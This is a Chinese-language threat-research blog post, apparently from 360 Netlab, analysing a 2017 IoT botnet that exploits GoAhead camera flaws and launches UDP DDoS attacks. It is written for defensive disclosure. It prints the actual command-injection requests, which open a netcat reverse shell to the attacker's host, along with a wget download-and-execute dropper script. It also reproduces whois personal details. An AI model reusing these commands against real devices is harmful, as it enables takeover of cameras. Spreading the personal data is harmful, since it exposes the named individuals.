來源：360 網絡安全研究院
作者：Li Fengpei

概述

360 網絡安全研究院近日監測到一個新的僵尸網絡正在大范圍掃描整個互聯網。考慮到該僵尸網絡的以下因素，我們決定向安全社區公開我們的發現成果：

  1. 規模較大，我們目前可以看到 ～50k 日活IP
  2. 有Simple UDP DDoS 攻擊記錄，可以認定是惡意代碼
  3. 較新，目前尚有較多安全廠商未能識別該惡意代碼 ( 7/55 virustotal )
  4. 與mirai僵尸網絡相比，借鑒了其端口嗅探手法和部分代碼，但是在傳播、C2通信協議、攻擊向量等關鍵方面完全不同于mirai，是新的惡意代碼家族而不應視為mirai的變種

我們梳理了該僵尸網絡的發現過程、傳播手法、行為特征，簡略分析了該僵尸網絡的攻擊行為，并按照時間線組織本blog的各小節如下：

  1. GoAhead及多家攝像頭的 RCE 漏洞
  2. 攻擊者將漏洞武器化
  3. 我們注意到了來自攻擊者的掃描
  4. 從掃描到樣本
  5. C2 歷史變化回溯
  6. 僵尸網絡規模判定
  7. 關于 212.232.46.46 我們的觀察
  8. IoC

GoAhead 及多家攝像頭的 RCE 0Day漏洞

研究人員 Pierre Kim (@PierreKimSec) 于 2017-03-08 發布了一個關于GoAhead 以及其他OEM攝像頭的脆弱性分析報告。在設備廠商歸屬方面，原作者指出由于設備OEM的原因，共涉及了超過 1,250 個不同攝像頭廠商、型號；在潛在感染設備方面，原作者利用Shodan 估算有超過 185,000 個設備有潛在問題。原始文章鏈接如下：

https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html

在原始文章中， 原作者指出 GoAhead 攝像頭存在若干問題，其中包括：

  • 通過提供空白的 loginuse 和 loginpas 繞過認證環節，下載設備的.ini 文件
  • 通過向 set_ftp.cgi 中注入命令，獲得root權限，并在設備上提供遠程 Shell

原作者指出攻擊者組合使用上述問題，就可以在完全沒有設備口令的情況下，獲得設備的root權限，并提供了一個利用代碼。

在上述頁面中，可以關聯到原作者和其他安全社區反饋的信息。綜合這些反饋，我們并沒有觀察到沒有設備廠商積極行動起來，為本脆弱性提供解決方案，原因也許是OEM廠商之間錯綜復雜的關系，不過正是因為遲遲沒有原始廠商采取行動，才給了攻擊者繼續發揮的空間。

攻擊者將漏洞武器化

事后看，我們認為攻擊者在原始PoC公布后，花了不超過1個月的時間將上述漏洞武器化，并在2017-04-16 成功引起了我們的注意。

我們實際看到武器化后的payload 有如下特點：

  1. 嗅探端口從 80 改為 81
  2. 嗅探端口時采用類似mirai 的 syn scan 過程
  3. 嗅探 login.cgi 頁面，猜測攻擊者通過這種方式進一步精確甄別受害者。上述三個做法可以提高僵尸網絡感染的效率
  4. 使用前文提到的 goahead 0-day 漏洞，投遞載荷
  5. 我們尚沒有直接證據，但是有理由懷疑攻擊者在成功獲得設備root權限以后，阻斷了載荷投遞通道，避免后來者經同樣路徑爭奪設備控制權

我們注意到了來自攻擊者的掃描

我們首次注意到本次事件，是來自我們的全球網絡掃描實時監控系統：

http://scan.netlab.360.com/#/dashboard?tsbeg=1490457600000&tsend=1493049600000&dstport=81&toplistname=srcip&topn=30&sortby=sum

圖1 port 81 scan bigbang since 2017-04-16

從圖中我們可以看到，2017-04-16 是個關鍵的時間點。取 2017-04-15 與之后的數據對比，當日掃描事件數量增長到 400% ~ 700% ，獨立掃描來源增長 4000%～6000%。特別是2017-04-22當天掃描來源超過 57,000，這個數字巨大，讓我們覺得有必要向安全社區提示這個威脅的存在。

從掃描到樣本

載荷

注意到該掃描以后，我們就開始了對該威脅的追溯和分析工作。通過我們的蜜罐系統，我們捕獲了下面這組樣本。需要預先說明的是，雖然這組樣本的命名中包含 mirai 字樣，但是這一組樣本的工作方式不同于mirai，并不能視為mirai的變種，而應該作為一個新的威脅來對待。

cd20dcacf52cfe2b5c2a8950daf9220d wificam.sh 428111c22627e1d4ee87705251704422 mirai.arm 9584b6aec418a2af4efac24867a8c7ec mirai.arm5n 5ebeff1f005804bb8afef91095aac1d9 mirai.arm7 b2b129d84723d0ba2f803a546c8b19ae mirai.mips 2f6e964b3f63b13831314c28185bb51a mirai.mpsl

這組樣本的文件信息如下：

  • mirai.arm: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
  • mirai.arm5n: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped

  • mirai.arm7: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped

  • mirai.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped

  • mirai.mpsl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped

  • wificam.sh: ASCII text
載荷的投遞方式

在攻擊者完成嗅探81端口確認存活以后，通過以下方式投遞有效載荷：

  1. 攻擊者在上文PoC基礎上，注入命令迫使受害者設備發起nc連接到 load.gtpnet.ir:1234
  2. 攻擊者控制load.gtpnet.ir:1234 對每個受害則發起的連接，投遞了 hxxp://ntp.gtpnet.ir/wificam.sh 作為后續下載的中轉，并通過該腳本進一步從 hxxp://ntp.gtpnet.ir/ 服務器下載命名為 mirai.arm/mirai.arm5n/mirai.arm7/mirai.mips/mirai.mpsl 的樣本
  3. 這些樣本會進一步與控制服務器建立連接，到此，受害者設備完全被攻擊者控制，感染階段結束，準備發起攻擊。

上述三段攻擊方式對應的代碼如下：

  1. 命令注入階段，迫使受害者建立nc連接到 load.gtpnet.ir:1234
GET login.cgi HTTP/1.1
GET /set_ftp.cgi?loginuse=admin&loginpas=admin&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28nc+load.gtpnet.ir+1234+-e+%2Fbin%2Fsh%29 HTTP/1.1
GET /ftptest.cgi?loginuse=admin&loginpas=admin HTTP/1.1

這個部分的有效載荷包含在 sef_ftp.cgi 的URI 中，轉碼后為

nc load.gtpnet.ir 1234 -e bin/sh

受害者因此被脅迫向攻擊者的服務器發起nc連接

  1. 攻擊者通過上述nc連接，向受害者設備投遞了下載腳本 wificam.sh
$ nc load.gtpnet.ir 1234`
busybox nohup sh -c "wget http://ntp.gtpnet.ir/wificam.sh -O /tmp/a.sh ;chmod +x /tmp/a.sh ;/tmp/a.sh" > /dev/null 2>&1 &`

下載腳本 wificam.sh 進一步下載了新的樣本文件

$ cat wificam.sh

wget hxxp://ntp.gtpnet.ir/mirai.arm -O /tmp/arm.bin
wget hxxp://ntp.gtpnet.ir/mirai.arm5n -O /tmp/arm5.bin
wget hxxp://ntp.gtpnet.ir/mirai.arm7 -O /tmp/arm7.bin
wget hxxp://ntp.gtpnet.ir/mirai.mips -O /tmp/mips.bin
wget hxxp://ntp.gtpnet.ir/mirai.mpsl -O /tmp/mpsl.bin
chmod +x /tmp/arm.bin
chmod +x /tmp/arm5.bin
chmod +x /tmp/arm7.bin
chmod +x /tmp/mips.bin
chmod +x /tmp/mpsl.bin
killall *.bin
killall arm
killall arm5
killall arm7
killall mips
killall mpsl
killall hal
/tmp/arm.bin
/tmp/arm5.bin
/tmp/arm7.bin
/tmp/mips.bin
/tmp/mpsl.bin
rm -rf /tmp/*.bin
將本次掃描歸因到這組樣本

我們認為本次針對 81 端口掃描歸因到這組樣本上。

從數據分析角度做出歸因判定最大的障礙，是蜜罐系統采集到的有效數據只有100+ 份，對比全球網絡掃描實時監測系統中每日獨立掃描來源超過57,000，兩者差距巨大，使用前者來說明后者，有數據覆蓋率不足之嫌。

不過我們在仔細考察當前數據后，有以下發現：

  1. 這組樣本，采集自81端口的掃描活動
  2. 蜜罐上近期81 端口的掃描，絕大多數指向了這個樣本。以4月19日為例，124（/132=94%）的81端口掃描是該樣本發起的；
  3. 時間窗口方面，我們的三個不同數據源（大網掃描實時監測/C2域名DNS流量/蜜罐掃描流量）上監測均監測到了流量暴漲，且流量暴漲出現的時間均發生在 2016-04-16 03:00:00 附近。三個數據源的覆蓋范圍各不同，分別是全球范圍、中國大陸范圍、若干蜜罐部署點范圍，三個數據源之間的數據能夠交叉映證，是一個較強的證據。

來自Scanmon的數據指出spike首次出現時間點大約是 2017-04-16 03:00:00 附近

來自DNS 的C2 域名解析數據，spike首次出現時間也是在 2017-04-16 03:00:00 附近

來自蜜罐這組樣本的出現時間，首次出現時間同樣在 2017-04-16 03:00:00 附近（排除奇異點212.232.46.46，后述）。

在仔細衡量上述全部因素后，我們斷言本次掃描可以歸因到當前樣本。

樣本分析

針對樣本詳盡的逆向分析較為耗時，目前尚在進行中，稍后也許我們會發布更進一步分析。目前階段，我們可以從樣本的網絡表現中得到以下方面的結論：

  1. 樣本 vs C2控制端
  2. 樣本 vs Simple UDP DDoS 攻擊向量
  3. 樣本 vs mirai
  4. 樣本 vs IoT 另外目前各殺毒廠商對該樣本的認定尚不充分（7/55 virustotal），這也是我們希望向安全社區發聲的原因之一。
樣本 vs C2控制端

通過已經完成的逆向工程，我們已經能夠確定無論是在感染階段還是攻擊階段，樣本都會與 load.gtpnet.ir/ntp.gtpnet.ir 通信。

樣本 vs Simple UDP DDoS 攻擊向量

樣本中包含了 DDoS 攻擊向量。我們在 2017-04-23 21:45:00 附近，觀察到沙箱中的樣本向 185.63.190.95 發起了DDoS 攻擊。

這次攻擊也被 DDoSmon.net 檢測到了： https://ddosmon.net/explore/185.63.190.95

進一步分析攻擊向量的構成：

  • 從DDoSMon的統計來看，攻擊主要針對受害者的 UDP 53/123/656 端口，填充包大小主要集中在125/139
  • 從沙箱的Pcap分析來看，攻擊覆蓋受害者的 UDP 53/123 端口，填充包大小能夠映證上述DDosMon.net的數據。

另外從沙箱Pcap數據來看，攻擊包使用了真實IP地址，在填充包中填充的是 SSDP(UDP 1900）的數據。 沙箱中看到的攻擊包特征：

Simple UDP 53 DDoS with a SSDP1900 padding

Simple UDP 123 DDoS with a SSDP1900 padding

樣本 vs mirai

樣本與mirai有較多聯系，也有很大變化，總體而言，我們認為這是一個全新的家族，不將其并入mirai家族。

樣本與mirai的不同點包括：

  • 傳播階段：不再猜測 23/2323 端口上的弱密碼；通過 81 端口上的 GoAhead RCE 漏洞傳播
  • C2通信協議：完全不同于mirai
  • 攻擊向量：完全不同于mirai；前面提到 UDP 53/123/656 端口的攻擊向量，mirai是不具有的；而mirai特有的、創下記錄的GRE/STOMP攻擊向量，在這組樣本中完全不存在；

樣本也的確與mirai有一些共同點：

  • 傳播階段：使用非正常的 syn scan 來加速端口掃描的過程。不過今天這個技巧已經被非常多的惡意代碼家族使用，不再能算作mirai獨有的特點
  • 文件命名：使用了 mirai 這個字符串
  • 代碼重用：重用了較多mirai的部分代碼

盡管有若干共同點，由于傳播、攻擊向量等關鍵特征已經與mirai完全沒有共同之處，我們仍然傾向將這個樣本與mirai區別開來。

樣本 vs IoT

在前面的分析中，我們已經了解到這一組樣本主要針對IoT設備傳播，但具體是1200+種設備中的哪些種類尚不明確。不過在360網絡安全研究院，我們可以使用DNS數據維度進一步刻畫受感染設備的歸屬。

我們經常使用D2V工具來尋找域名的伴生域名，在這個案例，我們觀察到 ntp.gtpnet.ir 域名在 2017-04-16之前沒有伴生域名，之后與下列域名伴生：

s3.vstarcam.com
s2.eye4.cn
ntp.gtpnet.ir
api.vanelife.com
load.gtpnet.ir
ntp2.eye4.cn
push.eye4.cn
push.eyecloud.so
ntp.eye4.cn
m2m.vanelife.com`

這些域名的具體網站標題如下： 基于上述數據可以進一步刻畫受感染設備的歸屬。

C2 歷史變化回溯

DNS歷史解析記錄變化

我們看到的兩個域名的歷史解析記錄如下

可以看出：

  1. load.gtpnet.ir 一直指向 185.45.192.168
  2. ntp.gtpnet.ir 的IP地址則發生了多次變換，比較不穩定
  3. 我們在沙箱中也同樣觀察到了上述 ntp.gtpnet.ir 的IP地址不穩定的情況

上述 ntp.gtpnet.ir IP地址不穩定現象也許可以用下面的事實來解釋：

  • 從樣本分析來看，前者僅負責投遞初始下載器，負載相對較輕；后者不僅負責投遞wificam.sh 和 5個 elf 樣本，還承擔與bot通信的責任，負載比前者重很多倍。
  • 整個botnet的規模較大，服務器同時與數萬bot通信的負載較高。
C2 的whois 域名關聯

域名的whois 信息如下：

domain:        gtpnet.ir
ascii:        gtpnet.ir
remarks:    (Domain Holder) javad fooladdadi
remarks:    (Domain Holder Address) Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR
holder-c:    jf280-irnic
admin-c:    jf280-irnic
tech-c:        mk3389-irnic
nserver:    etta.ns.cloudflare.com
nserver:    dom.ns.cloudflare.com
last-updated:    2017-04-19
expire-date:    **2018-04-06**
source:        IRNIC # Filtered

nic-hdl:    jf280-irnic
person:        javad fooladdadi
org:        personal
e-mail:        **ademaiasantos@gmail.com**
address:    Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR
phone:        +989155408348
fax-no:        +989155408348
source:        IRNIC # Filtered

nic-hdl:    mk3389-irnic
person:        Morteza Khayati
e-mail:        **morteza.khayati1@gmail.com**
source:        IRNIC # Filtered

上述域名的注冊時間，推測發生在 2017-04-06 (因為失效時間是 2018-04-06)，恰好發生在攻擊者武器化的期間 （2017-03-08 ~ 2017-04-16），可以斷定是專為本僵尸網絡而注冊的域名。

但是兩個域名注冊email地址與本僵尸網絡的關聯尚缺少證據進一步支撐。其中 ademaiasantos@gmail.com 與以下兩個域名關聯：

  • hostsale.net
  • almashost.com

特別是 almashost.com 的注冊時間發生在 2009 年，并且看起來是有域名交易/域名停靠的事情發生，傾向認為與本次攻擊并無直接關聯。這樣，email地址 ademaiasantos@gmail.com 是如何卷入本次攻擊的，尚不得而知。

僵尸網絡規模判定

從DNS系統視角度量僵尸網絡規模

到現在（2017-04-24）為止，我們從DNS數據中（中國大陸地區），能夠看到與C2服務器通信的僵尸規模有 43,621。由于我們數據的地緣性限制，我們看到的分布主要限定在中國大陸地區。具體位置分布如下：

中國大陸地區每日活躍的bot數量在 2,700 ～ 9,500 之間，如下：

關于 212.232.46.46 我們的觀察

在所有掃中我們蜜罐的來源IP中， 212.232.46.46 是特殊的一個。從時間分布上來說，這個IP是孤立的一個，在他之前沒有其他IP以這種方式掃描我們的蜜罐。在他之后，5個小時內一個都沒有、但是之后蜜罐就被密集的掃中。

目前為止，我們只知道這個IP是個數據上的奇異點，但這個IP與攻擊者之間的關系并不清楚，期待睿智的讀者為我們補上拼圖中缺失的那塊。附上該IP地址的歷史掃描行為：

IoC

樣本

cd20dcacf52cfe2b5c2a8950daf9220d  wificam.sh
428111c22627e1d4ee87705251704422  mirai.arm
9584b6aec418a2af4efac24867a8c7ec  mirai.arm5n
5ebeff1f005804bb8afef91095aac1d9  mirai.arm7
b2b129d84723d0ba2f803a546c8b19ae  mirai.mips
2f6e964b3f63b13831314c28185bb51a  mirai.mpsl

控制主機

ntp.gtpnet.ir
load.gtpnet.ir

Paper 本文由 Seebug Paper 發布，如需轉載請注明來源。本文地址：http://www.bjnorthway.com/290/